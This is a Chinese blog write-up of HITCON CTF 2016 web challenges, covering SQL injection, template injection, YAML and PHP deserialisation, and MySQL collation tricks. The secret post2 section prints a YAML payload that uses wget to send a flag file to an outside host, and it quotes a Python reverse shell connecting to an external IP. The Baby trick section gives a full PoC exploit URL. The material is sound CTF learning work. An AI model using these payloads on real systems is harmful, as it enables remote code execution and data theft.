Fight For Freedom

10月 12

2016 hitcon ctf web writeup

抽点时间单刷了hitcon,很有意思,玩的很爽。不愧是orange大大,思维好敏捷。

Are you rich?1&2
Description
Are you rich? Buy the flag!
http://52.197.184.164/are_you_rich/
ps. You should NOT pay anything for this challenge
Some error messages which is non-related to challenge have been removed
Hint
None

idea: sql injection
第一题是直接注入能拿到,但第二题不能。
https://bitinfocharts.com上面随便找了个有钱的地址,再union注入就可以了。

%%%

Description
Although it is easy, but I still made this challenge because it is useful in penetration testing.
This challenge doesn't allow DIRBUSTER or other SCANNER.
Hint
None

idea: certificate & host
有https,查看下证书来源,发现是“very-secret-area-for-ctf.orange.tw”,并且不能直接访问。
很明显这是内网的域名,改下host访问就可以看到flag了。


leaking

Description
Remote Code Execution!
Hint
None
"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {VM} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
app.get("/", function (req, res) {
    res.header("Content-Type", "text/plain");
    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});
app.listen(3000, function () {
    console.log("listening on port 3000!");

idea: nodejs buffer

传入的代码不能超过12字节,并放进了沙箱执行。奇怪的是flag读进内存后就没啥操作了。
1. 长度用数组绕过;
申请buffer时,如果是数字,会造成内存泄漏,作用很心脏滴血差不多。所以不断申请buffer和比较含有'hitcon'的字符串,等一会就拿到flag了。


secret post1
Description
Here is a service that you can store any posts. Can you hack it?
http://52.198.91.29/
Hint
None

from flask import Flask
import config
# init app
app = Flask(__name__)
app.secret_key = config.flag1
accept_datatype = ['json', 'yaml']
from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string
# load utils
def load_eval(data):
    return eval(data)
def load_pickle(data):
    import pickle
    return pickle.loads(data)
def load_json(data):
    import json
    return json.loads(data)
def load_yaml(data):
    import yaml
    return yaml.load(data)
# dump utils
def dump_eval(data):
    return repr(data)
def dump_pickle(data):
    import pickle
    return pickle.dumps(data)
def dump_json(data):
    import json
    return json.dumps(data)
def dump_yaml(data):
    import yaml
    return yaml.dump(data)
def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename)) as f:
        template = f.read()
    name = session.get('name', 'anonymous')[:10]
    return render_template_string(template.format(name=name), **args)
def load_posts():
    handlers = {
        # disabled insecure data type
        #"eval": load_eval,
        #"pickle": load_pickle,
        "json": load_json,
        "yaml": load_yaml
    }
    datatype = session.get("post_type", config.default_datatype)
    data = session.get("post_data", config.default_data)
    if datatype not in handlers: abort(403)
    return handlers[datatype](data)
def store_posts(posts, datatype):
    handlers = {
        "eval": dump_eval,
        "pickle": dump_pickle,
        "json": dump_json,
        "yaml": dump_yaml
    }
    if datatype not in handlers: abort(403)
    data = handlers[datatype](posts)
    session["post_type"] = datatype
    session["post_data"] = data
@app.route('/')
def index():
    posts = load_posts()
    return render_template('index.html', posts = posts, accept_datatype = accept_datatype)
@app.route('/post', methods=['POST'])
def add_post():
    posts = load_posts()
    title = request.form.get('title', 'empty')
    content = request.form.get('content', 'empty')
    datatype = request.form.get('datatype', 'json')
    if datatype not in accept_datatype: abort(403)
    name = request.form.get('author', 'anonymous')[:10]
    from datetime import datetime
    posts.append({
        'title': title,
        'author': name,
        'content': content,
        'date': datetime.now().strftime("%B %d, %Y %X")
    })
    session["name"] = name
    store_posts(posts, datatype)
    return redirect(url_for('index'))
@app.route('/source')
def get_source():
    with open(__file__, "r") as f:
        resp = f.read()
    return Response(resp, mimetype="text/plain")

idea: template injection
简单测了下发现有模板注入,在author那可看到返回值。{{config}}可看到secret_key,也就是flag。
'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}'


secret post2

idea: yaml unserilize
想进一步利用模板注入来rce,但未成功。
换种思路,提供了json和yaml两种数据格式,但yaml是不安全的。yaml的反序列化会造成rce。前面拿到了secret_key,也就相当于可以过掉session的验证了。但由于不知具体变量,卡了很久。
后来才看到在/source下有源码.....
后面就简单了,新加一个路由,把session的post_type记为yaml,post_data记为如下:
exploit = "some_option: !!python/object/apply:subprocess.call\n \  
  args: [wget www.lynahex.com:8888/$(cat flag2)]\n \
  kwds: {shell: true}\n"
之后访问该路由即可拿到cookie,然后打过去就可以了。如果对flask机制比较熟悉,可以直接生成session,如下做法(http://www.abdilahrf.me/hitcon%202016/hitcon-secure-post):
class Exploit(object):
 def __reduce__(self):
   fd = 1
   return (exec,
           ('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("128.199.226.218",4444));os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);',))
# dump utils
@app.route('/')
def index():
    anu = yaml.dump(Exploit())
    serializer_interface = SecureCookieSessionInterface()
    serializer = serializer_interface.get_signing_serializer(app)
    out = serializer.dumps({
    "name": "shit",
    "post_data": "- "+anu,
    "post_type": "yaml"
})

    print(out)
    return render_template('index.html', out=out)


Baby trick
Description
There is no SQL Injection anymore!
Hint
None
 <?php
include "config.php";
class HITCON{
    private $method;
    private $args;
    private $conn;
    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->__conn();
    }
    function show() {
        list($username) = func_get_args();
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
        $obj = $this->__query($sql);
        var_dump($sql);
        var_dump($obj);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("Nobody Nobody But You!");
        }
        
    }
    function login() {
        global $FLAG;
        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));
        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
        var_dump($sql);
        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }
        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }
    function source() {
        highlight_file(__FILE__);
    }
    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);
        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);
            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        } 
        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }
    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }
    function __die($msg) {
        $this->__close();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }
    function __close() {
        mysql_close($this->conn);
    }
    function __destruct() {
        $this->__conn();
        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }
        $this->__close();
    }
    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}
if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    $hitcon = new HITCON("source", array());
}

idea: __wakeup & mysql encoding

又有源码,好爽。

1. wakeup魔幻函数中对传进来的参数有过滤,但可绕过。可参考前段时间爆出的CVE-2016-7124。

具体来说就是当反序列化字符串中对象属性个数的值大于其真实值时,它会跳过__wakeup。

2. 如果绕过__wakeup后,show方法中有sql注入,使用union查询,data=O:6:"HITCON":5:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:63:"' union select 1,1,password from users where username='orange'%23";}},得密码为babytrick1234;

3. login方法又对进来的参数进行了sql过滤。且不能含有'orange',查询后需要admin权限才能看到flag。但是经注入后发现只有'orange'的用户名拥有admin权限。所以构造一个不是'orange'的字符串但在mysql中查询时却是'orange'的字符串。很明显,这利用了猪猪侠之前分享的tips:

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立,对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。

fuzz一下应该也能得到这些。

思路:通过合理构造使其在show函数中产生sql注入,拿到orange密码后,再用ORĄNGE为用户名login即可拿到flag。

最后poc:

http://52.198.42.246?data=O%3A6%3A%22HITCON%22%3A3%3A%7Bs%3A14%3A%22%00HITCON%00
method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00HITCON%00
args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22%C3%96range%22%3Bi%3A1%3Bs%3A13%3A%22
babytrick1234%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3Bi%3A0%3B%7D

做完后,发现国内的队伍果然拿下了该题的前几血...好凶残。


Angry Boy
Description
Why my teammate, Angelboy, is so angry?
Hint
$ java -version
java version "1.7.0_111"
OpenJDK Runtime Environment (IcedTea 2.6.7) (7u111-2.6.7-0ubuntu0.14.04.3)
OpenJDK 64-Bit Server VM (build 24.111-b01, mixed mode)

idea: brute-force && java
看java代码挺炸的。能确定是爆破,可以逐字节恢复得key,不过captcha很大程度上增大了破解难度。猜对key最后一个字节后,会给出flag的密文。其中Aes的IV已知,密钥为md5(ip+爆破出的key)。但之后并没做出来,老是解密失败,猜测是java的哪个知识点没get到,尝试了下后面就放弃了。
看了别人的wp后发现,只需在hint中指定的平台解密就可以了。我擦...

具体原因是在java中字节数组转字符串时是有问题的(神坑),可参考:https://blog.gdssecurity.com/labs/2015/2/18/when-efbfbd-and-friends-come-knocking-observations-of-byte-a.html

因为加密时随机生成的密钥有很多unpredictable的byte,但是由于各种平台的编码规则,会用一些指定的字符(比如EFBFBD、3F等)对密钥出现的但没定义的字符进行替换。

所以解密时的密钥要么用casting之后的,要么就在相同的平台上解密。同时,如果要避免这种情况的话可以把byte数组转换为base64或者hex的字符串。


Angry Seam
Description
Why my teammate, Sean, is so angry?
Hint
None

idea: RPO || Java Deserialization
又是用java写的,--。测了挺长时间,有些奇怪的地方,但对java不熟悉,没思路。已被orange大大虐死。
看wp发现居然是RPO,但unintended做法也很多。厉害了。
有时间再补补。

标签:none

还不快抢沙发

添加新评论

captcha
请输入验证码

最新文章

最近回复

  • lynahex:好的。
  • xdxd:友链已加~~~希望有机会多多交流~~
  • lynahex:恩,重测了下是可以的。可能当时一些危险函数被我禁掉了。 thx
  • 过客:虽然博主文章过了好久了,本地system测试还是可以执行的
  • 友情链接

    分类

    其它